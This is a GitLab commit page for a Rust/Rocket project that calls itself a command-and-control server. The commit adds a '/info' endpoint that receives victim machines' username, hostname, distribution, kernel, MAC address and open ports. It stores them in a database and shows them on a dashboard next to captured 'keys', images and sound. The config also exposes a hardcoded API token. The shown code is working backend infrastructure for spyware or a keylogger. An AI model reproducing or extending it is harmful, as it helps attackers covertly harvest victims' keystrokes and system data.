Skip to content
Snippets Groups Projects
Commit d58805d3 authored by leo.muff's avatar leo.muff
Browse files

added sysinfo api

parent 2b53e3c9
No related branches found
No related tags found
No related merge requests found
Showing
with 133 additions and 14 deletions
......@@ -6,6 +6,7 @@ ROCKET_PORT = "8888"
KEY_API = "/key"
IMAGE_API= "/images"
SOUND_API = "/sound"
INFO_API = "/info"
BUFFERMAXLEN = 50
API_TOKEN = "cbbYrcu6BkM6dSnmzMU0BWZMlxqrIboT"
#NEEDED FOR SERVER
......
......@@ -21,7 +21,8 @@ pub struct DataFile {
pub enum DataType {
Keys,
Image,
Sound
Sound,
Info
}
pub struct DataFiles<'a>{
......@@ -38,7 +39,8 @@ impl DataFile {
let path = match kind {
DataType::Keys => basedir + &api_info.keys_api,
DataType::Image => basedir + &api_info.images_api,
DataType::Sound => basedir + &api_info.sound_api
DataType::Sound => basedir + &api_info.sound_api,
DataType::Info => basedir + &api_info.info_api
};
if let Ok(_) = check_data_path(&path){
if let Ok(path_ref) = get_file_nb(&path){
......
......@@ -2,8 +2,9 @@ use crate::server::DbConnection;
use rocket_sync_db_pools::diesel::{self, RunQueryDsl, PgConnection,QueryDsl, ExpressionMethods};
use rocket::{http::Status, response::status};
use sharedlib::{
schema::{keys,clients},
models::{NewClient, Client}
schema::{keys,clients, sysinfo, ports},
models::{NewClient, Client, SysInfoData, NewSysInfo, SysInfoModel, SocketProtocol, PortModel, NewPort},
errors::DbError
};
use diesel::prelude::QueryResult;
use diesel::result::Error;
......@@ -35,3 +36,64 @@ pub async fn add_user(db_conn:&DbConnection, address:String) -> Result<Client,st
}
}
pub async fn add_info(db_conn:&DbConnection, data: SysInfoData, client: Client) -> Result<i32,status::Custom<String>> {
let info : QueryResult<i32> = db_conn.run(move |conn:&mut PgConnection|
sysinfo::table.filter(sysinfo::client_id.eq(&client.id)).select(sysinfo::id).first::<i32>(conn)).await;
match info {
Ok(data) => Ok(data),
Err(e) => match e {
Error::NotFound => {
let newinfo = NewSysInfo{
username:data.username,
hostname: data.hostname,
distrib: data.distrib,
kernel: data.kernel,
client_id: client.id
};
let res = db_conn.run(move |conn| {
diesel::insert_into(sysinfo::table).values(newinfo).get_result::<SysInfoModel>(conn)
.map_err(|e| status::Custom(Status::InternalServerError, e.to_string())) // TODO: log this
}).await?;
Ok(res.id)
}
_ => Err(status::Custom(Status::InternalServerError, e.to_string()))
}
}
}
pub async fn get_sysinfo(db_conn:&DbConnection, id: i32) -> Result<SysInfoModel, status::Custom<String>>{
let info = db_conn.run(move |conn:&mut PgConnection|
sysinfo::table.order(sysinfo::id).filter(sysinfo::client_id.eq(id)).first::<SysInfoModel>(conn)).await.map_err(|e|
status::Custom(Status::InternalServerError, DbError::DieselError(e).to_string()))?;
Ok(info)
}
pub async fn get_ports(db_conn: &DbConnection, id: i32) -> Result<Vec<PortModel>,status::Custom<String>>{
let ports = db_conn.run(move |conn:&mut PgConnection|
ports::table.filter(ports::client_info_id.eq(id)).load::<PortModel>(conn)).await.map_err(|e|
status::Custom(Status::InternalServerError, DbError::DieselError(e).to_string()))?;
Ok(ports)
}
pub async fn add_port(db_conn: &DbConnection, port: (&i32, &SocketProtocol), id : i32) -> Result<(), status::Custom<String>>{
let protocol = match port.1 {
SocketProtocol::Tcp => "tcp",
SocketProtocol::Udp => "upd",
SocketProtocol::TcpUpd => "tcp/upd"
};
let new_port = NewPort{port: *port.0, protocol: protocol.to_owned(), client_info_id: id};
db_conn.run(move |conn| {
diesel::insert_into(ports::table).values(new_port).execute(conn)
.map_err(|e| status::Custom(Status::InternalServerError, e.to_string())) // TODO: log this
}).await?;
Ok(())
}
\ No newline at end of file
......@@ -7,7 +7,7 @@ use sharedlib::config::load_dotenv;
use std::sync::Mutex;
use c2::backup::{DataFile, DataType};
use c2::server::DbConnection;
use c2::routes::{home, get_keys, show_keys, get_client};
use c2::routes::{home, get_keys, show_keys, get_client, systeminfo};
use rocket_dyn_templates::Template;
use rocket::fs::FileServer;
#[macro_use] extern crate rocket;
......@@ -38,7 +38,7 @@ fn rocket() -> _ {
let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing());
println!("Connecting to database ...");
build.mount("/", routes![home, get_keys, show_keys, get_client])
build.mount("/", routes![home, get_keys, show_keys, get_client, systeminfo])
.mount("/static", FileServer::from("c2/templates/static"))
.register("/", catchers![not_found, internal_error])
.manage(keys_file)
......
......@@ -7,10 +7,10 @@ use crate::backup::DataFile;
use crate::server::{Response, DbConnection , ApiClient};
use sharedlib::{
schema::{keys,clients},
models::{Keys, NewKeys, KeysData,Client}
models::{Keys, NewKeys, KeysData,Client, SysInfoData}
};
use rocket_dyn_templates::{Template, context};
use crate::db::add_user;
use crate::db::{add_user, add_info, get_sysinfo, add_port, get_ports};
#[get("/")]
pub async fn home(db_conn:DbConnection) -> Result<Template, status::Custom<String>>{
......@@ -73,9 +73,27 @@ pub async fn get_client(db_conn:DbConnection, id: i32) -> Result<Template, statu
keys::table.order(keys::id).filter(keys::client_id.eq(id)).load::<Keys>(conn)).await.map_err(|e|
status::Custom(Status::InternalServerError, DbError::DieselError(e).to_string()))?;
Ok(Template::render("client", context! {client, keys}))
let info = get_sysinfo(&db_conn, id).await?;
let ports = get_ports(&db_conn, info.id).await?;
Ok(Template::render("client", context! {client, keys, info, ports}))
}
#[post("/info", data="<sysinfo>")]
pub async fn systeminfo(db_conn:DbConnection, _client:ApiClient, sysinfo: Json<SysInfoData>)-> Result<Json<Response>,status::Custom<String>> {
// get mac address for client id
let addr = sysinfo.address.clone().ok_or(status::Custom(Status::BadRequest, "Missing address".to_owned()))?;
let client = add_user(&db_conn, addr).await?;
let info_id = add_info(&db_conn, sysinfo.clone().into_inner(), client).await?;
// add open ports to db
let ports = &sysinfo.clone().ports.0;
for port in ports {
add_port(&db_conn, port, info_id).await?;
}
// log infos
Ok(Json(Response {status: String::from("Ok")}))
}
......@@ -5,10 +5,41 @@
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Command & Control</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<link href="/static/bootstrap/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<link rel="stylesheet" href="/static/datatables/datatables.min.css" />
</head>
<body>
<h3>Data from client @ {{client}}</h3>
<div>
<h3>Info from client @ {{client}}</h3>
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item">{{info.username}}</li>
<li class="list-group-item">{{info.hostname}}</li>
<li class="list-group-item">{{info.distrib}}</li>
<li class="list-group-item">{{info.kernel}}</li>
</ul>
</div>
<h3>Open Ports</h3>
<div>
<table class="table" id="ports" name="ports">
<thead>
<tr>
<th scope="col">Port</th>
<th scope="col">Protocol</th>
</tr>
</thead>
<tbody>
{% for port in ports %}
<tr>
<th scope="row">{{port.port}}</th>
<td class="mw-20">{{port.protocol}}</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
<h3>Data sent</h3>
<div>
<table class="table">
<thead>
......@@ -29,6 +60,11 @@
</tbody>
</table>
</div>
<script src="/static/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL" crossorigin="anonymous"></script>
<script src="/static/jquery/jquery-3.7.0.min.js"></script>
<script src="/static/bootstrap/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL" crossorigin="anonymous"></script>
<script src="/static/datatables/datatables.min.js"></script>
<script>
new DataTable('#ports');
</script>
</body>
</html>
\ No newline at end of file
......@@ -5,7 +5,7 @@
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Command & Control</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<link href="/static/bootstrap/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
</head>
<body>
<h2>Registered clients</h2>
......@@ -29,6 +29,6 @@
</tbody>
</table>
</div>
<script src="/static/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL" crossorigin="anonymous"></script>
<script src="/static/bootstrap/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL" crossorigin="anonymous"></script>
</body>
</html>
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment